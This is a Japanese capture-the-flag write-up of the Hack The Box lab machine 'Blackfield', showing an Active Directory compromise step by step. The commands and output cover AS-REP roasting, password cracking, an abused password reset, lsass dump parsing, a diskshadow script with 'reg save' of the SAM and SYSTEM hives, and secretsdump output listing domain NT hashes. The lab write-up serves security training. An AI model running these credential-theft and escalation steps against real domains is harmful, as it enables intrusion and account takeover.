【Hack The Box】Blackfield【WriteUp】

# 初めに
本記事は ___Hack The Box___(以下リンク参照) の「___Blackfield___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.10.192 --top
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.10.192:53
Open 10.10.10.192:88
Open 10.10.10.192:135
Open 10.10.10.192:389
Open 10.10.10.192:445
Open 10.10.10.192:593
Open 10.10.10.192:3268
Open 10.10.10.192:5985
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 08:32 EDT
Initiating Ping Scan at 08:32
Scanning 10.10.10.192 [4 ports]
Completed Ping Scan at 08:32, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:32
Completed Parallel DNS resolution of 1 host. at 08:32, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:32
Scanning 10.10.10.192 [8 ports]
Discovered open port 53/tcp on 10.10.10.192
Discovered open port 445/tcp on 10.10.10.192
Discovered open port 135/tcp on 10.10.10.192
Discovered open port 3268/tcp on 10.10.10.192
Discovered open port 389/tcp on 10.10.10.192
Discovered open port 5985/tcp on 10.10.10.192
Discovered open port 593/tcp on 10.10.10.192
Discovered open port 88/tcp on 10.10.10.192
Completed SYN Stealth Scan at 08:32, 0.21s elapsed (8 total ports)
Nmap scan report for 10.10.10.192
Host is up, received echo-reply ttl 127 (0.20s latency).
Scanned at 2024-09-11 08:32:25 EDT for 1s

PORT     STATE SERVICE        REASON
53/tcp   open  domain         syn-ack ttl 127
88/tcp   open  kerberos-sec   syn-ack ttl 127
135/tcp  open  msrpc          syn-ack ttl 127
389/tcp  open  ldap           syn-ack ttl 127
445/tcp  open  microsoft-ds   syn-ack ttl 127
593/tcp  open  http-rpc-epmap syn-ack ttl 127
3268/tcp open  globalcatLDAP  syn-ack ttl 127
5985/tcp open  wsman          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
           Raw packets sent: 12 (504B) | Rcvd: 10 (432B)
```
WindowsのPortが開いている。HTTP系のブラウザを扱うサービスはなさそう。
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn --script ldap-rootdse 10.10.10.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 08:35 EDT
Nmap scan report for 10.10.10.192
Host is up (0.19s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=BLACKFIELD,DC=local
|       ldapServiceName: BLACKFIELD.local:dc01$@BLACKFIELD.LOCAL
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=BLACKFIELD,DC=local
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
|       namingContexts: DC=BLACKFIELD,DC=local
|       namingContexts: CN=Configuration,DC=BLACKFIELD,DC=local
|       namingContexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
|       namingContexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
|       namingContexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local
|       isSynchronized: TRUE
|       highestCommittedUSN: 233564
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=BLACKFIELD,DC=local
|       dnsHostName: DC01.BLACKFIELD.local
|       defaultNamingContext: DC=BLACKFIELD,DC=local
|       currentTime: 20240911193554.0Z
|_      configurationNamingContext: CN=Configuration,DC=BLACKFIELD,DC=local
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
```
`BLACKFIELD.local`のドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
```
10.10.10.192    BLACKFIELD.local
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~/work]
└─# enum4linux 10.10.10.192
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 11 08:34:26 2024

 =========================================( Target Information )=========================================

Target ........... 10.10.10.192
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.10.10.192 )============================


[E] Can't find workgroup/domain



 ================================( Nbtstat Information for 10.10.10.192 )================================

Looking up status of 10.10.10.192
No reply from 10.10.10.192

 ===================================( Session Check on 10.10.10.192 )===================================


[+] Server 10.10.10.192 allows sessions using username '', password ''


 ================================( Getting domain SID for 10.10.10.192 )================================

Domain Name: BLACKFIELD
Domain Sid: S-1-5-21-4194615774-2175524697-3563712290

[+] Host is part of a domain (not a workgroup)


 ===================================( OS information on 10.10.10.192 )===================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.10.10.192 from srvinfo: 
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 =======================================( Users on 10.10.10.192 )=======================================


[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED



[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED


 =================================( Share Enumeration on 10.10.10.192 )=================================

do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.192


 ============================( Password Policy Information for 10.10.10.192 )============================


[E] Unexpected error from polenum:



[+] Attaching to 10.10.10.192 using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: [Errno Connection error (10.10.10.192:139)] timed out

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient



 =======================================( Groups on 10.10.10.192 )=======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ==================( Users on 10.10.10.192 via RID cycling (RIDS: 500-550,1000-1050) )==================


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.


 ===============================( Getting printer info for 10.10.10.192 )===============================

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Wed Sep 11 08:35:55 2024
```
ドメイン情報以外は特段いい情報がなかった。
## SMB enum
SMBを掘り下げておく。
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -N -L \\\\10.10.10.192

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	forensic        Disk      Forensic / Audit share.
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	profiles$       Disk      
	SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```
共有階層が見えるのでここに何かしら情報があると思い、列挙してみる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6256a87d-580c-9e06-bd0d-e17280f76282.png)
`forensic`階層は特段いいものがなかった。別の階層も見てみる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/94947a1a-99e9-154f-6278-f4f95802050a.png)
`profiles$`階層に何やらドメインユーザのようなフォルダ名が見える。
これを使っていく。
# イニシャルアクセス
## AS-REP Roasting
ADでユーザの一覧ぽいのが見えたらやることはこれですね。
先ほど見えたフォルダ名の情報を加工してファイルに保存する。
```bash
┌──(root㉿kali)-[~/work]
└─# vim user

┌──(root㉿kali)-[~/work]
└─# cat user | awk '{print $1}' | sed -e "s/\s//g" > user.txt
```
出来たファイルを使ってAS-REP Roastingを実施する。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-GetNPUsers BLACKFIELD.local/ -no-pass -dc-ip 10.10.10.192 -usersfile user.txt -format john -outputfile outhash.txt
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a5a13144-cdbf-9360-39ac-9c395d535cc5.png)
audit2020がいそうです。ここら辺で勘がいい人ならさっきの`forensic`階層の説明からここを見る権限かなと見通しが立つと思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7d2d892a-0b7d-70f2-b894-9f12594fae47.png)
`support`のTGTがもらえたのと`svc_backup`のユーザがいることを確認できます。
まぁとりあえず、`support`のクレデンシャル情報を`john`で解析してみます。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt --rules /usr/share/john/rules/best64.rule outhash.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$support@BLACKFIELD.LOCAL)     
1g 0:00:00:08 DONE (2024-09-11 08:41) 0.1216g/s 1743Kp/s 1743Kc/s 1743KC/s #13Carlyn.."theodore"
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
解析できました！このクレデンシャル情報を使って更に列挙していきます。
## password spay
とりあえず、`winrm`で足場を確保できるか確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/57108167-b17b-4f1d-e166-35d29dbf8355.png)
だめですか、一応認証が通るか確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/702b4680-058c-f15b-5f18-e82178160b6c.png)
認証は通るっぽい。SYSVOLがあったのでGroup Policy Preferencesもさっと確認しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d0f35303-3184-b3c0-602b-101ea8203607.png)
なさそうでした。まぁスプレー系はここら辺にしといてLDAPで列挙していきますか。

# 横展開
## AD列挙
### Bloodhound
とりあえずAD列挙といえばBloodhoundで！
```bash
┌──(root㉿kali)-[~/work]
└─# bloodhound-python -c all -u support -p '#00^BlackKnight' -d BLACKFIELD.LOCAL -ns 10.10.10.192 --zip
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.blackfield.local:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Querying computer: 
INFO: Done in 00M 37S
INFO: Compressing output into 20240911084900_bloodhound.zip
```
`20240911084900_bloodhound.zip`をBloodhoundに食わせるために起動させます。
```bash:それぞれ別ターミナルで起動
┌──(root㉿kali)-[~/work]
└─# neo4j console

┌──(root㉿kali)-[~/work]
└─# bloodhound
```
ZIPを食わせてsupportが出来る権限を確認します。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a2272583-b0e8-015e-2a8d-3d39f6b71842.png)
audit2020に対して`ForceChangePassword`権限があります。
これでPasswordを変更することができそうなので`audit2020`にアクセスできそうですね。
## ForceChangePassword
audit2020のパスワードを変更します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d52857c3-bb59-128e-17a6-c2ffd84fe0fb.png)
変更できたか確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/205629d4-bd92-03c6-28bc-4390be730aa9.png)
できてそうですね！！！
これで先ほどの`forensic`を確認します。
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.10.192 -d BLACKFIELD.LOCAL -u AUDIT2020 -p 'Password123!'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: 10.10.10.192        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	READ ONLY	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections
```
`forensic`階層が見えそうです！
## lsass
`forensic`階層を見に行きます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6bf0042d-1570-a449-cac3-7d3917818255.png)
ファイルがデカすぎるので（ダンプファイルがっつり）`timeout`コマンドでタイムアウトを伸ばします。
```bash
smb: \> timeout 500
io_timeout per operation is now 500
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
```
これでファイルをすべて手に入れることが出来ました。
`memory_analysis`の中に`lsass.zip`があります。ローカルセキュリティ機関は資格情報の宝庫なので「これは！？」となりますね。解凍してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/994d0b13-de62-063b-cedf-c14b0d852049.png)
ローカルセキュリティ機関のダンプファイルをKaliのローカルで調べるには`pypykatz`が最適なのでこれを利用します。そのまま`mimikatz`で抜き出すことが多いと思いますが、検知回避のためにSysinternalのprocdumpでこのようにダンプファイルを作成してから転送して解析する際はこれを使うでしょう。使い方は以下のWikiを参考にすればいいかと思います。

https://github.com/skelsec/pypykatz/wiki

回します。
```bash
┌──(root㉿kali)-[~/work]
└─# pypykatz lsa minidump lsass.DMP 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6c8be285-e068-325f-b484-929372716696.png)

`svc_backup`のNTハッシュが見えるのでこれを使ってPasstheHashを実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ca04a7f5-f7a4-de3b-9467-efc4c7bea6f6.png)
ログインできました。これでUserフラグをゲットできます。

# 権限昇格
## whoami /priv
`whoami /priv`で権限を確認しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/abd7c1f7-b4c8-5d75-111d-046d23dd3387.png)
`SeBackupPrivilege`権限があるのでこれを悪用します。
`ntds.dit`を抽出して解析すればよいです。
## diskshadow.exe
`diskshadow.exe`を悪用して`ntds.dit`を抽出します。
以下のスクリプトをまずは作成します。
```powershell:z.dsh
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
```
DOSに変換してマシンに転送します。
```bash
┌──(root㉿kali)-[~/work]
└─# unix2dos z.dsh
unix2dos: converting file z.dsh to DOS format...
```
```powershell
*Evil-WinRM* PS C:\Windows\Temp> upload z.dsh
                                        
Info: Uploading /root/work/z.dsh to C:\Windows\Temp\z.dsh
                                        
Data: 128 bytes of 128 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp>
```
zドライブを作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c5ac89ff-b800-480b-3f8f-3eae91775f9a.png)
`ntds.dit`を抽出します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/aaf1ce69-c49b-46bd-2a27-8e2cb4b95aa2.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/35284bbc-494c-179a-300e-cb9aefe7047e.png)
上手く抽出できました！ダウンロードを実施します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/89754518-1697-06c6-4ab4-fb8fdb59ee3e.png)
あとは`SAM`とか`SYSTEM`も抽出してダウンロードを実施します。
```powershell
*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SYSTEM SYSTEM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> reg save HKLM\SAM SAM
The operation completed successfully.

*Evil-WinRM* PS C:\Users\svc_backup\Documents> download SYSTEM
                                        
Info: Downloading C:\Users\svc_backup\Documents\SYSTEM to SYSTEM
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_backup\Documents> 

*Evil-WinRM* PS C:\Users\svc_backup\Documents> download SAM
                                        
Info: Downloading C:\Users\svc_backup\Documents\SAM to SAM
                                        
Info: Download successful!
```
これらを使ってNTハッシュを抜き出します。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-secretsdump -ntds ntds.dit -system SYSTEM -sam SAM local          
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7f82cc4be7ee6ca0b417c0719479dbec:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD189208:1107:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD404458:1108:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD706381:1109:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD937395:1110:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD553715:1111:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD840481:1112:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD622501:1113:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD787464:1114:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD163183:1115:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD869335:1116:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD319016:1117:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD600999:1118:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::

...省略
```
`Administrator`のNTハッシュが抜けたのでこれでPasstheHashを実施します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/aa9b31a0-9d30-ff68-337f-7f64423206ad.png)
Administrator権限を奪取できた！！！

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/42abb92e-9d64-360f-cd29-010456c0df89.png)
これで特権昇格に成功し、Administrator権限奪取に成功しました。
結構初期シェルを取るまではOSCPライクで面白かったです。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。